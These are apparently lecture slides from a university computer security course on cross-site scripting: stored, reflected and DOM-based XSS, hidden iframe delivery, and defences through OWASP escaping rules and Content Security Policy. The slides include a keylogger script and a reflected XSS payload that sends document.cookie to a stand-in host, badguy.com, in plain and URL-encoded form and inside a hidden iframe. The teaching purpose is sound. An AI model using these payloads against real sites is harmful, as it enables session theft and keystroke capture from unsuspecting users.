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Web Security 3: 
XSS
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Announcements...

• I 💖 PG&E (NOT!!!)

• May or may not extend lectures into dead-week, TBD


• Project 2 release Real Soon Now (aka in the next couple of 
hours!)
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Cross-Site Scripting (XSS)

• Hey, lets get that web server to display MY JavaScript…

• And now…. MUAHAHAHAHHAHAHAHHAAHH!
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Reminder: Same-origin policy

• One origin should not be able to access the resources of 
another origin

• http://coolsite.com:81/tools/info.html 

• Based on the tuple of protocol/hostname/port
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XSS: Subverting the 
Same Origin Policy
• It would be Bad if an attacker from evil.com can fool your browser 

into executing their own script …

• … with your browser interpreting the script’s origin to be some other site, like mybank.com


• One nasty/general approach for doing so is trick the server of interest 
(e.g., mybank.com) to actually send the attacker’s script to your 
browser!

• Then no matter how carefully your browser checks, it’ll view script as from the same origin 

(because it is!) …

• … and give it full access to mybank.com interactions


• Such attacks are termed Cross-Site Scripting (XSS) (or sometimes 
CSS)



Computer Science 161 Fall 2019 Weaver

Different Types of XSS 
(Cross-Site Scripting)
• There are two main types of XSS attacks

• In a stored (or “persistent”) XSS attack, the attacker leaves their script lying around 

on mybank.com server

• … and the server later unwittingly sends it to your browser

• Your browser is none the wiser, and executes it within the same origin as the mybank.com 

server

• Reflected XSS attacks: the malicious script originates in a request from the victim


• But can have some fun corner cases too…

• DOM-based XSS attacks:  The stored or reflected script is not a script until after 

“benign” JavaScript on the page parses it!

• Injected-cookie XSS: Attacker loads a malicious cookie onto your browser when on 

the shared WiFi, later visit to site renders cookie as a script!
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Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
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Squiggler Stored XSS

• This Squig is a keylogger!

Keys pressed: <span id="keys"></span> 
<script> 
  document.onkeypress = function(e) { 
    get = window.event?event:e; 
    key = get.keyCode?get.keyCode:get.charCode; 
    key = String.fromCharCode(key); 
    document.getElementById("keys").innerHTML += key + ", " ; 
    } 
</script>



Computer Science 161 Fall 2019 Weaver

Stored XSS: Summary

• Target: user with Javascript-enabled browser who visits user-
generated-content page on vulnerable web service


• Attacker goal: run script in user’s browser with same access as 
provided to server’s regular scripts (subvert SOP = Same Origin Policy)


• Attacker tools: ability to leave content on web server page (e.g., via 
an ordinary browser); optionally, a server used to receive stolen 
information such as cookies


• Key trick: server fails to ensure that content uploaded to page does 
not contain embedded scripts

• Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF);  

(2) requires use of Javascript (generally)
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Two Major Types of XSS 
(Cross-Site Scripting)
• There are two main types of XSS attacks

• In a stored (or “persistent”) XSS attack, the attacker leaves their script 

lying around on mybank.com server

• … and the server later unwittingly sends it to your browser

• Your browser is none the wiser, and executes it within the same origin as the 
mybank.com server


• In a reflected XSS attack, the attacker gets you to send the 
mybank.com server a URL that has a Javascript script crammed into it 
…

• … and the server echoes it back to you in its response

• Your browser is none the wiser, and executes the script in the response within the 

same origin as mybank.com
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Reflected XSS (Cross-Site Scripting) 

Victim client
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Example of How 
Reflected XSS Can Come About
• User input is echoed into HTML response.

• Example: search field

• http://victim.com/search.php?term=apple 

• search.php  responds with 
<HTML>  <TITLE> Search Results </TITLE>  
<BODY>  
Results for $term  
. . .  
</BODY> </HTML>


• How does an attacker who gets you to visit evil.com exploit 
this?
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Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)

• http://victim.com/search.php?term=<script> window.open("http://

badguy.com?cookie="+document.cookie) </script> 
• http://victim.com/search.php?

term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.com%3Fcookie%3
D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E 

• What if user clicks on this link?

• Browser goes to victim.com/search.php?...

• victim.com returns 

<HTML> Results for <script> … </script> …

• Browser executes script in same origin as victim.com

• Sends badguy.com cookie  for victim.com
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Reflected XSS: Summary

• Target: user with Javascript-enabled browser who visits a vulnerable web 
service that will include parts of URLs it receives in the web page output it 
generates


• Attacker goal: run script in user’s browser with same access as provided 
to server’s regular scripts (subvert SOP = Same Origin Policy)


• Attacker tools: ability to get user to click on a specially-crafted URL; 
optionally, a server used to receive stolen information such as cookies


• Key trick: server fails to ensure that output it generates does not contain 
embedded scripts other than its own


• Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) 
requires use of Javascript (generally)
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And Hiding It All...

• Both CSRF and reflected XSS require the attacker's web 
page to run...


• In a way not noticed by the victim


• Fortunately? iFrames to the rescue!

• Have the "normal" page controlled by the attacker create a 1x1 iframe...

• <iframe height=1 width=1  

src="http://www.evil.com/actual-attack"> 

• This enables the attacker's code to run...

• And the attacker can mass-compromise a whole bunch of websites... 

and just inject that bit of script into them
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But do it without clicking!

• Remember, a frame can open to another origin by default...

• <iframe src="http://victim.com/search.php?

term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.co
m%3Fcookie%3D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E" 
height=1 width=1> 

• So this creates a 1x1 pixel iframe ("inline frame")

• But its an "isolated" origin: the hosting page can't "see" inside..

• But who cares?  The browser opens it up!


• Can really automate the hell out of this...

• <iframe src="http://attacker.com/pwneverything" height=1 

width=1>
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And Thus You Don't Even Need A Click!

• Bad guy compromises a bunch of sites...

• All with a 1x1 iFrame pointing to badguy.com/pwneverything


• badguy.com/pwneverything is a rich page...

• As many CSRF attacks as the badguy wants...

• Encoded in image tags...


• As many reflected XSS attacks as the badguy wants...

• Encoded in still further iframes...


• As many stored XSS attacks as the badguy wants...

• If the attacker has pre-stored the XSS payload on the targets


• Why does this work?

• Each iframe is treated just like any other web page

• This sort of thing is legitimate web functionality, so the browser goes "Okeydoke..."
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Protecting Servers Against XSS (OWASP)

• OWASP = Open Web Application Security Project

• Lots of guidelines, but 3 key ones cover most situations 

https://www.owasp.org/index.php/ 
 XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet


• Never insert untrusted data except in allowed locations

• HTML-escape before inserting untrusted data into simple HTML element 

contents

• HTML-escape all non-alphanumeric characters before inserting untrusted 

data into simple attribute contents
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Never Insert Untrusted Data Except In Allowed 
Locations
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HTML-Escape Before Inserting Untrusted Data into 
Simple HTML Element Contents

“Simple”: <p>, <b>, <td>, …

Rewrite 6 characters (or, better, use framework functionality): 
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HTML-Escape Before Inserting Untrusted Data into 
Simple HTML Element Contents

While this is a “default-allow” black-list, it’s 
one that’s been heavily community-vetted

Rewrite 6 characters (or, better, use framework functionality): 
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HTML-Escape All Non-Alphanumeric Characters Before 
Inserting Untrusted Data into Simple Attribute Contents

“Simple”: width=, height=, value=… 
NOT: href=, style=, src=, onXXX= ...

Escape using &#xHH; where HH is hex ASCII code 
(or better, again, use framework support)
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Web Browser Heuristic Protections...

• Web Browser developers are always in a tension

• Functionality that may be critical for real web apps are often also abused

• Why CSRF is particularly hard to stop: 

It uses the motifs used by real apps


• But reflected XSS is a bit unusual...

• So modern web browsers may use heuristics to stop some reflected XSS:

• E.g. recognize that <script> is probably bad in a URL, replace with 

script>


• Not bulletproof however
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Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a 
browser can load resources (Javascript scripts, images, 
frames, …) for a given web page


• Approach: 

• Prohibits inline scripts

• Content-Security-Policy HTTP header allows reply to specify white-list, 

instructs the browser to only execute or render resources from those sources

• E.g., script-src 'self' http://b.com; img-src *

• Relies on browser to enforce

http://www.html5rocks.com/en/tutorials/security/content-security-policy/
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Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a 
browser can load resources (Javascript scripts, images, 
frames, …) for a given web page


• Approach: 

• Prohibits inline scripts

• Content-Security-Policy HTTP header allows reply to specify white-list, 

instructs the browser to only execute or render resources from those sources

• E.g., script-src 'self' http://b.com; img-src *

• Relies on browser to enforce

http://www.html5rocks.com/en/tutorials/security/content-security-policy/

This says only allow scripts fetched explicitly 
(“<script src=URL></script>”) from the server, 
or from http://b.com, but not from anywhere else. 

Will not execute a script that’s included inside a server’s 
response to some other query (required by XSS).
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Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a 
browser can load resources (Javascript scripts, images, 
frames, …) for a given web page


• Approach: 

• Prohibits inline scripts

• Content-Security-Policy HTTP header allows reply to specify white-list, 

instructs the browser to only execute or render resources from those sources

• E.g., script-src 'self' http://b.com; img-src *

• Relies on browser to enforce

http://www.html5rocks.com/en/tutorials/security/content-security-policy/

This says to allow images to 
be loaded from anywhere.
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CSP resource directives

• script-src limits the origins for loading scripts

• This is the critical one for us


• img-src lists origins from which images can be loaded.

• connect-src limits the origins to which you can connect (via XHR, WebSockets, 

and EventSource).

• font-src specifies the origins that can serve web fonts. 

• frame-src lists origins can be embedded as frames 

• media-src restricts the origins for video and audio.

• object-src allows control over Flash, other plugins

• style-src is script-src counterpart for stylesheets

• default-src define the defaults for any directive not otherwise specified
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Multiple XSS and/or CSRF vulnerabilities: 
Canaries in the coal mine...
• If a site has one fixed XSS or CSRF vulnerability...

• Eh, people make mistakes...  And they fixed it


• If a site has multiple XSS or CSRF vulnerabilities...

• They did not use a systematic toolkit to prevent these

• And instead are doing piecemeal patching...


• Its like memory errors

• If you squish them one at a time, there are probably lurking ones

• If you squish them all, why worry?


